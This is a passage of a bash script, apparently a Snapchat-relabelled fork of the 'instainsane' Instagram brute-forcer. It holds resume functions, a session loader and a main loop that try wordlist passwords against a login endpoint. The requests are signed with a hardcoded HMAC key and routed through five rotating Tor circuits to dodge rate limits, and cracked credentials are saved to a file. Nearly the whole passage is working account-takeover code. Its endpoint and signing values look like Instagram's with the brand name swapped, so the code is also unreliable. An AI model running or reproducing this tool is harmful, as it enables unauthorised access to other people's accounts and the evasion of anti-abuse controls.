-sha256 -hmac "${ig_sig}" | cut -d " " -f2) 408 | useragent='User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 409 | 410 | let counter2++ 411 | 412 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass 413 | 414 | {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9052 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.Snapchat.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid2=$! ; # wait $!; 415 | 416 | let startline+=20 417 | let endline+=20 418 | 419 | done 420 | } 421 | 422 | bf3resume() { 423 | 424 | while [ $counter3 -lt $turn ]; do 425 | count_pass=$(wc -l $wl_pass | cut -d " " -f1) 426 | IFS=$'\n' 427 | startresume=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1) 428 | startresume1=$((startresume+1)) 429 | IFS=$'\n' 430 | for pass in $(sed -n ''$startresume1','$(($token+endline))'p' $wl_pass); do 431 | 432 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 433 | 434 | data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}' 435 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178" 436 | IFS=$'\n' 437 | countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1) 438 | hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2) 439 | useragent='User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 440 | 441 | let counter3++ 442 | 443 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass 444 | 445 | {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9053 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.Snapchat.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid3=$! ; # wait $!; 446 | 447 | let startline+=20 448 | let endline+=20 449 | 450 | done 451 | } 452 | 453 | 454 | bf4resume() { 455 | 456 | count_pass=$(wc -l $wl_pass | cut -d " " -f1) 457 | while [ $counter4 -lt $turn ]; do 458 | 459 | IFS=$'\n' 460 | startresume=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1) 461 | startresume1=$((startresume+1)) 462 | IFS=$'\n' 463 | for pass in $(sed -n ''$startresume1','$(($token+endline))'p' $wl_pass); do 464 | 465 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 466 | 467 | data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}' 468 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178" 469 | IFS=$'\n' 470 | countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1) 471 | hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2) 472 | useragent='User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 473 | 474 | 475 | let counter4++ 476 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass 477 | 478 | {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9054 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.Snapchat.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid4=$! ; # wait $!; 479 | 480 | let startline+=20 481 | let endline+=20 482 | 483 | done 484 | 485 | } 486 | 487 | 488 | bf5resume() { 489 | 490 | while [ $counter5 -lt $turn ]; do 491 | count_pass=$(wc -l $wl_pass | cut -d " " -f1) 492 | IFS=$'\n' 493 | startresume=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1) 494 | startresume1=$((startresume+1)) 495 | IFS=$'\n' 496 | for pass in $(sed -n ''$startresume1','$(($token+endline))'p' $wl_pass); do 497 | 498 | header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 499 | 500 | data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}' 501 | ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178" 502 | IFS=$'\n' 503 | countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1) 504 | hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2) 505 | useragent='User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' 506 | 507 | let counter5++ 508 | 509 | printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass 510 | 511 | {(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9055 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Snapchat 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.Snapchat.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; wait $pid1 > /dev/null 2>&1; wait $pid2 > /dev/null 2>&1 ; wait $pid3 > /dev/null 2>&1 ; wait $pid4 > /dev/null 2>&1; wait $! > /dev/null 2>&1 ; 512 | 513 | let startline+=20 514 | let endline+=20 515 | 516 | done 517 | } 518 | 519 | 520 | function resume() { 521 | 522 | banner 523 | checkroot 524 | dependencies 525 | 526 | countern=1 527 | if [[ ! -d sessions ]]; then 528 | printf "\e[1;91m[*] No sessions\n\e[0m" 529 | exit 1 530 | fi 531 | printf "\e[1;92mFiles sessions:\n\e[0m" 532 | for list in $(ls sessions/store.session*); do 533 | IFS=$'\n' 534 | source $list 535 | printf "\e[1;92m%s \e[0m\e[1;77m: %s (\e[0m\e[1;92mwl:\e[0m\e[1;77m %s\e[0m\e[1;92m,\e[0m\e[1;92m lastpass:\e[0m\e[1;77m %s )\n\e[0m" "$countern" "$list" "$wl_pass" "$pass" 536 | let countern++ 537 | done 538 | read -p $'\e[1;92mChoose a session number: \e[0m' fileresume 539 | source $(ls sessions/store.session* | sed ''$fileresume'q;d') 540 | default_threads=100 541 | threads="${threads:-${default_threads}}" 542 | 543 | printf "\e[1;92m[*] Resuming session for user:\e[0m \e[1;77m%s\e[0m\n" $user 544 | printf "\e[1;92m[*] Wordlist: \e[0m \e[1;77m%s\e[0m\n" $wl_pass 545 | printf "\e[1;91m[*] Press Ctrl + C to stop or save session\n\e[0m" 546 | multitor 547 | 548 | while [ true ]; do 549 | killall -HUP tor 550 | ###pkill -f -HUP "tor -f multitor/multitor1"; pkill -f -HUP "tor -f multitor/multitor2"; pkill -f -HUP "tor -f multitor/multitor3"; pkill -f -HUP "tor -f multitor/multitor4"; pkill -f -HUP "tor -f multitor/multitor5" 551 | 552 | bf1resume 553 | let turn+=20 554 | bf2resume 555 | let turn+=20 556 | bf3resume 557 | let turn+=20 558 | bf4resume 559 | let turn+=20 560 | bf5resume 561 | 562 | let turn-=60 563 | ### 564 | killall -HUP tor 565 | #pkill -f -HUP "tor -f multitor/multitor1"; pkill -f -HUP "tor -f multitor/multitor2"; pkill -f -HUP "tor -f multitor/multitor3";pkill -f -HUP "tor -f multitor/multitor4";pkill -f -HUP "tor -f multitor/multitor5" 566 | 567 | done 568 | } 569 | 570 | 571 | case "$1" in --resume) resume ;; *) 572 | 573 | banner 574 | checkroot 575 | dependencies 576 | start 577 | multitor 578 | killall -HUP tor 579 | while [ $countpass -lt $count_pass ]; do 580 | 581 | killall -HUP tor 582 | ##pkill -f -HUP "tor -f multitor/multitor1"; pkill -f -HUP "tor -f multitor/multitor2"; pkill -f -HUP "tor -f multitor/multitor3";pkill -f -HUP "tor -f multitor/multitor4";pkill -f -HUP "tor -f multitor/multitor5" 583 | 584 | bf1 585 | let turn+=20 586 | bf2 587 | let turn+=20 588 | bf3 589 | let turn+=20 590 | bf4 591 | let turn+=20 592 | bf5 593 | let turn-=60 594 | killall -HUP tor 595 | ### 596 | #pkill -f -HUP "tor -f multitor/multitor1"; pkill -f -HUP "tor -f multitor/multitor2"; pkill -f -HUP "tor -f multitor/multitor3"; pkill -f -HUP "tor -f multitor/multitor4"; pkill -f -HUP "tor -f multitor/multitor5" 597 | done 598 | exit 1 599 | esac --------------------------------------------------------------------------------